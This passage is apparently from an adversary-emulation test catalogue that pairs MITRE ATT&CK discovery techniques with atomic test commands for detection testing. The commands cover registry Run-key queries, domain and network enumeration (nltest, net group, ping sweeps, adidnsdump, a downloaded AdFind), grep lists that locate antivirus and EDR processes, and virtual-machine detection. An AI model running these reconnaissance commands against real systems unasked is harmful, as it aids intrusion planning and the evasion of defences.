    atomic_tests:
    - name: Process Discovery - ps
      auto_generated_guid: 4ff64f0b-aaf2-4866-b39d-38d9791407cc
      description: |
        Utilize ps to identify processes.

        Upon successful execution, sh will execute ps and output to /tmp/loot.txt.
      supported_platforms:
      - macos
      - linux
      input_arguments:
        output_file:
          description: path of output file
          type: path
          default: "/tmp/loot.txt"
      executor:
        command: |
          ps >> #{output_file}
          ps aux >> #{output_file}
        cleanup_command: 'rm #{output_file}

'
        name: sh
    - name: Process Discovery - tasklist
      auto_generated_guid: c5806a4f-62b8-4900-980b-c7ec004e9908
      description: "Utilize tasklist to identify processes.\n\nUpon successful execution,
        cmd.exe will execute tasklist.exe to list processes. Output will be via stdout.
        \n"
      supported_platforms:
      - windows
      executor:
        command: 'tasklist

'
        name: command_prompt
  T1012:
    technique:
      id: attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Query Registry
      description: |-
        Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

        The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
      external_references:
      - source_name: mitre-attack
        external_id: T1012
        url: https://attack.mitre.org/techniques/T1012
      - external_id: CAPEC-647
        source_name: capec
        url: https://capec.mitre.org/data/definitions/647.html
      - url: https://en.wikipedia.org/wiki/Windows_Registry
        description: Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.
        source_name: Wikipedia Windows Registry
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2020-03-26T18:08:20.049Z'
      created: '2017-05-31T21:30:25.584Z'
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Access'
      - 'Process: OS API Execution'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Interaction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_version: '1.2'
      identifier: T1012
    atomic_tests:
    - name: Query Registry
      auto_generated_guid: 8f7578c4-9863-4d83-875c-a565573bbdf0
      description: |
        Query Windows Registry.
        Upon successful execution, cmd.exe will perform multiple reg queries. Some will succeed and others will fail (dependent upon OS).
        References:
        https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order
        https://blog.cylance.com/windows-registry-persistence-part-1-introduction-attack-phases-and-windows-services
        http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf
        https://www.offensive-security.com/wp-content/uploads/2015/04/wp.Registry_Quick_Find_Chart.en_us.pdf
      supported_platforms:
      - windows
      executor:
        command: |
          reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
          reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
          reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
          reg query "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
          reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"
          reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
          reg query HKLM\system\currentcontrolset\services /s | findstr ImagePath 2>nul | findstr /Ri ".*\.sys$"
          reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
        name: command_prompt
        elevation_required: true
  T1018:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1018
        url: https://attack.mitre.org/techniques/T1018
      - external_id: CAPEC-292
        source_name: capec
        url: https://capec.mitre.org/data/definitions/292.html
      - source_name: Elastic - Koadiac Detection with EQL
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
      description: "Adversaries may attempt to get a listing of other systems by IP
        address, hostname, or other logical identifier on a network that may be used
        for Lateral Movement from the current system. Functionality could exist within
        remote access tools to enable this, but utilities available on the operating
        system could also be used such as  [Ping](https://attack.mitre.org/software/S0097)
        or <code>net view</code> using [Net](https://attack.mitre.org/software/S0039).
        Adversaries may also use local host files (ex: <code>C:\\Windows\\System32\\Drivers\\etc\\hosts</code>
        or <code>/etc/hosts</code>) in order to discover the hostname to IP address
        mappings of remote systems. \n\nSpecific to macOS, the <code>bonjour</code>
        protocol exists to discover additional Mac-based systems within the same broadcast
        domain."
      name: Remote System Discovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-13T21:40:23.368Z'
      created: '2017-05-31T21:30:28.187Z'
      x_mitre_version: '3.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Network Traffic: Network Connection Creation'
      - 'File: File Access'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Monitor for processes that can be used to discover remote systems, such as <code>ping.exe</code> and <code>tracert.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_contributors:
      - Daniel Stepanic, Elastic
      - RedHuntLabs, @redhuntlabs
      x_mitre_is_subtechnique: false
      identifier: T1018
    atomic_tests:
    - name: Remote System Discovery - net
      auto_generated_guid: 85321a9c-897f-4a60-9f20-29788e50bccd
      description: |
        Identify remote systems with net.exe.

        Upon successful execution, cmd.exe will execute `net.exe view` and display results of local systems on the network that have file and print sharing enabled.
      supported_platforms:
      - windows
      executor:
        command: |
          net view /domain
          net view
        name: command_prompt
    - name: Remote System Discovery - net group Domain Computers
      auto_generated_guid: f1bf6c8f-9016-4edf-aff9-80b65f5d711f
      description: |
        Identify remote systems with net.exe querying the Active Directory Domain Computers group.

        Upon successful execution, cmd.exe will execute cmd.exe against Active Directory to list the "Domain Computers" group. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'net group "Domain Computers" /domain

'
        name: command_prompt
    - name: Remote System Discovery - nltest
      auto_generated_guid: 52ab5108-3f6f-42fb-8ba3-73bc054f22c8
      description: |
        Identify domain controllers for specified domain.

        Upon successful execution, cmd.exe will execute nltest.exe against a target domain to retrieve a list of domain controllers. Output will be via stdout.
      supported_platforms:
      - windows
      input_arguments:
        target_domain:
          description: Domain to query for domain controllers
          type: String
          default: "%userdnsdomain%"
      executor:
        command: 'nltest.exe /dclist:#{target_domain}

'
        name: command_prompt
    - name: Remote System Discovery - ping sweep
      auto_generated_guid: 6db1f57f-d1d5-4223-8a66-55c9c65a9592
      description: |
        Identify remote systems via ping sweep.

        Upon successful execution, cmd.exe will perform a for loop against the 192.168.1.1/24 network. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'for /l %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%i

'
        name: command_prompt
    - name: Remote System Discovery - arp
      auto_generated_guid: 2d5a61f5-0447-4be4-944a-1f8530ed6574
      description: "Identify remote systems via arp. \n\nUpon successful execution,
        cmd.exe will execute arp to list out the arp cache. Output will be via stdout.\n"
      supported_platforms:
      - windows
      executor:
        command: 'arp -a

'
        name: command_prompt
    - name: Remote System Discovery - arp nix
      auto_generated_guid: acb6b1ff-e2ad-4d64-806c-6c35fe73b951
      description: |
        Identify remote systems via arp.

        Upon successful execution, sh will execute arp to list out the arp cache. Output will be via stdout.
      supported_platforms:
      - linux
      - macos
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if arp command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1;
          fi;

'
        get_prereq_command: "(which yum && yum -y install net-tools)||(which apt-get
          && apt-get install -y net-tools)\n"
      executor:
        command: 'arp -a | grep -v ''^?''

'
        name: sh
    - name: Remote System Discovery - sweep
      auto_generated_guid: 96db2632-8417-4dbb-b8bb-a8b92ba391de
      description: |
        Identify remote systems via ping sweep.

        Upon successful execution, sh will perform a ping sweep on the 192.168.1.1/24 and echo via stdout if an IP is active.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        start_host:
          description: Subnet used for ping sweep.
          type: String
          default: '1'
        stop_host:
          description: Subnet used for ping sweep.
          type: String
          default: '254'
        subnet:
          description: Subnet used for ping sweep.
          type: String
          default: 192.168.1
      executor:
        command: 'for ip in $(seq #{start_host} #{stop_host}); do ping -c 1 #{subnet}.$ip;
          [ $? -eq 0 ] && echo "#{subnet}.$ip UP" || : ; done

'
        name: sh
    - name: Remote System Discovery - nslookup
      auto_generated_guid: baa01aaa-5e13-45ec-8a0d-e46c93c9760f
      description: |
        Powershell script that runs nslookup on cmd.exe against the local /24 network of the first network adaptor listed in ipconfig.

        Upon successful execution, powershell will identify the ip range (via ipconfig) and perform a for loop and execute nslookup against that IP range. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          $localip = ((ipconfig | findstr [0-9].\.)[0]).Split()[-1]
          $pieces = $localip.split(".")
          $firstOctet = $pieces[0]
          $secondOctet = $pieces[1]
          $thirdOctet = $pieces[2]
          foreach ($ip in 1..255 | % { "$firstOctet.$secondOctet.$thirdOctet.$_" } ) {cmd.exe /c nslookup $ip}
        name: powershell
        elevation_required: true
    - name: Remote System Discovery - adidnsdump
      auto_generated_guid: 95e19466-469e-4316-86d2-1dc401b5a959
      description: |
        This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks
        Python 3 and adidnsdump must be installed, use the get_prereq_command's to meet the prerequisites for this test.
        Successful execution of this test will list dns zones in the terminal.
      supported_platforms:
      - windows
      input_arguments:
        user_name:
          description: username including domain.
          type: String
          default: domain\user
        acct_pass:
          description: Account password.
          type: String
          default: password
        host_name:
          description: hostname or ip address to connect to.
          type: String
          default: 192.168.1.1
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must have python 3 installed

'
        prereq_command: 'if (python --version) {exit 0} else {exit 1}

'
        get_prereq_command: 'echo "Python 3 must be installed manually"

'
      - description: 'Computer must have pip installed

'
        prereq_command: 'if (pip3 -V) {exit 0} else {exit 1}

'
        get_prereq_command: 'echo "PIP must be installed manually"

'
      - description: 'adidnsdump must be installed and part of PATH

'
        prereq_command: 'if (cmd /c adidnsdump -h) {exit 0} else {exit 1}

'
        get_prereq_command: 'pip3 install adidnsdump

'
      executor:
        command: 'adidnsdump -u #{user_name} -p #{acct_pass} --print-zones #{host_name}

'
        name: command_prompt
        elevation_required: true
    - name: Adfind - Enumerate Active Directory Computer Objects
      auto_generated_guid: a889f5be-2d54-4050-bd05-884578748bb4
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Computer Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -f (objectcategory=computer)\n"
        name: command_prompt
    - name: Adfind - Enumerate Active Directory Domain Controller Objects
      auto_generated_guid: 5838c31e-a0e2-4b9f-b60a-d79d2cb7995e
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Domain Controller Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        adfind_path:
          description: Path to the AdFind executable
          type: Path
          default: PathToAtomicsFolder\T1087.002\src\AdFind.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (#{adfind_path})

'
        prereq_command: 'if (Test-Path #{adfind_path}) {exit 0} else {exit 1}

'
        get_prereq_command: 'Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/src/AdFind.exe"
          -OutFile #{adfind_path}

'
      executor:
        command: "#{adfind_path} -sc dclist\n"
        name: command_prompt
    - name: Remote System Discovery - ip neighbour
      auto_generated_guid: 158bd4dd-6359-40ab-b13c-285b9ef6fa25
      description: "Use the ip neighbour command to display the known link layer (ARP
        table) addresses for hosts sharing the same network segment. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ip command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: 'apt-get install iproute2 -y

'
      executor:
        command: 'ip neighbour show

'
        name: sh
    - name: Remote System Discovery - ip route
      auto_generated_guid: 1a4ebe70-31d0-417b-ade2-ef4cb3e7d0e1
      description: "Use the ip route command to display the kernels routing tables.
        \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ip command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: 'apt-get install iproute2 -y

'
      executor:
        command: 'ip route show

'
        name: sh
    - name: Remote System Discovery - ip tcp_metrics
      auto_generated_guid: 6c2da894-0b57-43cb-87af-46ea3b501388
      description: "Use the ip tcp_metrics command to display the recent cached entries
        for IPv4 and IPv6 source and destination addresses. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if ip command exists on the machine

'
        prereq_command: 'if [ -x "$(command -v ip)" ]; then exit 0; else exit 1; fi;

'
        get_prereq_command: 'apt-get install iproute2 -y

'
      executor:
        command: 'ip tcp_metrics show |grep --invert-match "^127\."

'
        name: sh
  T1518.001:
    technique:
      id: attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384
      description: |-
        Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

        Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS)
      name: Security Software Discovery
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1518.001
        url: https://attack.mitre.org/techniques/T1518/001
      - external_id: CAPEC-581
        source_name: capec
        url: https://capec.mitre.org/data/definitions/581.html
      - source_name: Expel IO Evil in AWS
        url: https://expel.io/blog/finding-evil-in-aws/
        description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding
          Evil in AWS. Retrieved June 25, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-29T16:05:00.198Z'
      created: '2020-02-21T21:16:18.066Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Firewall: Firewall Metadata'
      - 'Firewall: Firewall Enumeration'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      identifier: T1518.001
    atomic_tests:
    - name: Security Software Discovery
      auto_generated_guid: f92a380f-ced9-491f-b338-95a991418ce2
      description: |
        Methods to identify Security Software on an endpoint

        when sucessfully executed, the test is going to display running processes, firewall configuration on network profiles
        and specific security software.
      supported_platforms:
      - windows
      executor:
        command: |
          netsh.exe advfirewall  show allprofiles
          tasklist.exe
          tasklist.exe | findstr /i virus
          tasklist.exe | findstr /i cb
          tasklist.exe | findstr /i defender
          tasklist.exe | findstr /i cylance
        name: command_prompt
    - name: Security Software Discovery - powershell
      auto_generated_guid: 7f566051-f033-49fb-89de-b6bacab730f0
      description: |
        Methods to identify Security Software on an endpoint

        when sucessfully executed, powershell is going to processes related AV products if they are running.
      supported_platforms:
      - windows
      executor:
        command: |
          get-process | ?{$_.Description -like "*virus*"}
          get-process | ?{$_.Description -like "*carbonblack*"}
          get-process | ?{$_.Description -like "*defender*"}
          get-process | ?{$_.Description -like "*cylance*"}
        name: powershell
    - name: Security Software Discovery - ps (macOS)
      auto_generated_guid: ba62ce11-e820-485f-9c17-6f3c857cd840
      description: |
        Methods to identify Security Software on an endpoint
        when sucessfully executed, command shell  is going to display AV/Security software it is running.
      supported_platforms:
      - macos
      executor:
        command: 'ps aux | egrep ''Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu''

'
        name: sh
    - name: Security Software Discovery - ps (Linux)
      auto_generated_guid: 23b91cd2-c99c-4002-9e41-317c63e024a2
      description: |
        Methods to identify Security Software on an endpoint
        when sucessfully executed, command shell  is going to display AV/Security software it is running.
      supported_platforms:
      - linux
      executor:
        command: 'ps aux | egrep ''falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd''

'
        name: sh
    - name: Security Software Discovery - Sysmon Service
      auto_generated_guid: fe613cf3-8009-4446-9a0f-bc78a15b66c9
      description: |
        Discovery of an installed Sysinternals Sysmon service using driver altitude (even if the name is changed).

        when sucessfully executed, the test is going to display sysmon driver instance if it is installed.
      supported_platforms:
      - windows
      executor:
        command: 'fltmc.exe | findstr.exe 385201

'
        name: command_prompt
        elevation_required: true
    - name: Security Software Discovery - AV Discovery via WMI
      auto_generated_guid: 1553252f-14ea-4d3b-8a08-d7a4211aa945
      description: |
        Discovery of installed antivirus products via a WMI query.

        when sucessfully executed, the test is going to display installed AV software.
      supported_platforms:
      - windows
      executor:
        command: wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct
          Get displayName /Format:List
        name: command_prompt
        elevation_required: true
  T1518:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1518
        url: https://attack.mitre.org/techniques/T1518
      - external_id: CAPEC-580
        source_name: capec
        url: https://capec.mitre.org/data/definitions/580.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Software Discovery
      description: |-
        Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

        Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).
      id: attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-03-29T16:05:00.456Z'
      created: '2019-09-16T17:52:44.147Z'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.3'
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_data_sources:
      - 'Firewall: Firewall Metadata'
      - 'Firewall: Firewall Enumeration'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      identifier: T1518
    atomic_tests:
    - name: Find and Display Internet Explorer Browser Version
      auto_generated_guid: 68981660-6670-47ee-a5fa-7e74806420a4
      description: |
        Query the registry to determine the version of internet explorer installed on the system.
        Upon execution, version information about internet explorer will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer"
          /v svcVersion

'
        name: command_prompt
    - name: Applications Installed
      auto_generated_guid: c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b
      description: |
        Query the registry to determine software and versions installed on the system. Upon execution a table of
        software name and version information will be displayed.
      supported_platforms:
      - windows
      executor:
        command: |
          Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
          Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
        name: powershell
    - name: Find and Display Safari Browser Version
      auto_generated_guid: 103d6533-fd2a-4d08-976a-4a598565280f
      description: 'Adversaries may attempt to get a listing of non-security related
        software that is installed on the system. Adversaries may use the information
        from Software Discovery during automated discovery to shape follow-on behaviors

'
      supported_platforms:
      - macos
      executor:
        name: sh
        elevation_required: false
        command: |-
          /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
          /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
  T1497.001:
    technique:
      id: attack-pattern--29be378d-262d-4e99-b00d-852d573628e6
      description: "Adversaries may employ various system checks to detect and avoid
        virtualization and analysis environments. This may include changing behaviors
        based on the results of checks for the presence of artifacts indicative of
        a virtual machine environment (VME) or sandbox. If the adversary detects a
        VME, they may alter their malware to disengage from the victim or conceal
        the core functions of the implant. They may also search for VME artifacts
        before dropping secondary or additional payloads. Adversaries may use the
        information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
        during automated discovery to shape follow-on behaviors. \n\nSpecific checks
        will vary based on the target and/or adversary, but may involve behaviors
        such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
        [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information
        Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012)
        to obtain system information and search for VME artifacts. Adversaries may
        search for VME artifacts in memory, processes, file system, hardware, and/or
        the Registry. Adversaries may use scripting to automate these checks  into
        one script and then have the program exit if it determines the system to be
        a virtual environment. \n\nChecks could include generic system properties
        such as host/domain name and samples of network traffic. Adversaries may also
        check the network adapters addresses, CPU core count, and available memory/drive
        size. \n\nOther common checks may enumerate services running that are unique
        to these applications, installed programs on the system, manufacturer/product
        fields for strings relating to virtual machine applications, and VME-specific
        hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications
        like VMWare, adversaries can also use a special I/O port to send commands
        and receive output. \n \nHardware checks, such as the presence of the fan,
        temperature, and audio devices, could also be used to gather evidence that
        can be indicative a virtual environment. Adversaries may also query for specific
        readings from these devices.(Citation: Unit 42 OilRig Sept 2018)"
      name: System Checks
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1497.001
        url: https://attack.mitre.org/techniques/T1497/001
      - source_name: McAfee Virtual Jan 2017
        url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
        description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
          Machine. Retrieved April 17, 2019.
      - url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
        description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
          Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
          24, 2018.
        source_name: Unit 42 OilRig Sept 2018
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: discovery
      modified: '2021-04-21T15:16:10.604Z'
      created: '2020-03-06T20:57:37.959Z'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_contributors:
      - Deloitte Threat Library Team
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_detection: Virtualization/sandbox related system checks will likely
        occur in the first steps of an operation but may also occur throughout as
        an adversary learns the environment. Data and events should not be viewed
        in isolation, but as part of a chain of behavior that could lead to other
        activities, such as lateral movement, based on the information obtained. Detecting
        actions related to virtualization and sandbox identification may be difficult
        depending on the adversary's implementation and monitoring required. Monitoring
        for suspicious processes being spawned that gather a variety of system information
        or perform other forms of Discovery, especially in a short period of time,
        may aid in detection.
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_defense_bypassed:
      - Static File Analysis
      - Signature-based detection
      - Host forensic analysis
      - Anti-virus
      identifier: T1497.001
    atomic_tests:
    - name: Detect Virtualization Environment (Linux)
      auto_generated_guid: dfbd1a21-540d-4574-9731-e852bd6fe840
      description: |
        systemd-detect-virt detects execution in a virtualized environment.
        At boot, dmesg stores a log if a hypervisor is detected.
      supported_platforms:
      - linux
      executor:
        name: sh
        elevation_required: true
        command: 'if (systemd-detect-virt || sudo dmidecode | egrep -i ''manufacturer|product|vendor''
          | grep -iE ''Oracle|VirtualBox|VMWare|Parallels'') then echo "Virtualization
          Environment detected"; fi;

'
    - name: Detect Virtualization Environment (Windows)
      auto_generated_guid: 502a7dc4-9d6f-4d28-abf2-f0e84692562d
      description: 'Windows Management Instrumentation(WMI) objects contains system
